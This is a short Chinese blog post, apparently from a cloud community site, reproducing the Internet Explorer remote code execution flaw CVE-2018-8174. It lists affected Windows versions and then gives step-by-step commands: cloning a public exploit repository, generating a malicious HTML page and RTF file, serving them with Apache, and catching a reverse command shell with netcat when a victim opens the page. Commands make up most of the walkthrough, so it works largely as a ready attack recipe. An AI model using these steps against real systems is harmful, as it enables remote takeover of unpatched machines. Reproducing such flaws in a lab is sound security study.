CVE-2018-8174 IE浏览器远程代码执行漏洞
CVE-2018-8174 IE浏览器远程代码执行漏洞
剧终
发布于 2020-08-26 22:18:51
发布于 2020-08-26 22:18:51
漏洞简介
这个漏洞的影响范围为
Windows 7
Windows Server 2012 R2
Windows RT 8.1
Windows Server 2008
Windows Server 2012
Windows 8.1
Windows Server 2016
Windows Server 2008 R2
Windows 10
Windows 10 Servers.基本上影响了所有的高版本windows
复现漏洞
首先到github上面找exp然后克隆到本地
git clone https://github.com/Sch01ar/CVE-2018-8174_EXP
请输入图片描述
然后生成payload 192.168.2.117是自己的ip 端口号是1000
cd CVE-2018-8174_EXP
python CVE-2018-8174.py -u 192.168.2.117/exploit.html -o test.rtf -i 192.168.2.117 -p 1000 然后就能看到生成了两个文件一个html一个rtf文件
请输入图片描述
然后把这个exploit.html和test.rtf扔到网站目录下
mv exploit.html test.rtf /var/www/html/启动apache
service apache2 start启动nc监听刚才设置的端口
nc -vv -lp 1000然后使用windows7打开ie浏览器访问
http://192.168.2.117/exploit.html*然后ie浏览器并不会正常显示这个页面 但是攻击已经成功了
请输入图片描述
此时我们去看看我们的nc已经成功的拿到了反弹回来的cmd了
请输入图片描述
本文参与 腾讯云自媒体分享计划，分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除
评论
登录后参与评论
推荐阅读
目录